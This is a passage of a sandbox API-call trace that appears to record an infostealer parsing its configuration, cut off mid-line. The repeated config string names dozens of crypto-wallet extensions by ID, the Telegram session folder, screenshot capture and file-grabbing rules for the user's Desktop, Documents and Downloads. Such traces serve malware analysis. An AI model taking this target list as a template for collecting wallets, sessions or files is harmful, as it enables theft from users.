Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.585] lstrlenW (lpString="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2300 [0260.585] LocalAlloc (uFlags=0x40, uBytes=0x1278) returned 0x6bcd20 [0260.585] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.585] LocalFree (hMem=0x6bcd20) returned 0x0 [0260.585] StrStrW (lpFirst="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.585] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.586] LocalFree (hMem=0x6b9720) returned 0x0 [0260.586] LocalFree (hMem=0x6ba920) returned 0x0 [0260.586] LocalFree (hMem=0x6bbb20) returned 0x0 [0260.587] StrStrW (lpFirst="ews_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.587] lstrlenW (lpString="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2218 [0260.587] lstrlenW (lpString="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2218 [0260.587] LocalAlloc (uFlags=0x40, uBytes=0x1154) returned 0x6b9720 [0260.587] lstrlenW (lpString="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2218 [0260.587] LocalAlloc (uFlags=0x40, uBytes=0x1154) returned 0x6ba880 [0260.587] lstrlenW (lpString="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2218 [0260.587] LocalAlloc (uFlags=0x40, uBytes=0x1154) returned 0x6bb9e0 [0260.587] StrStrW (lpFirst="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 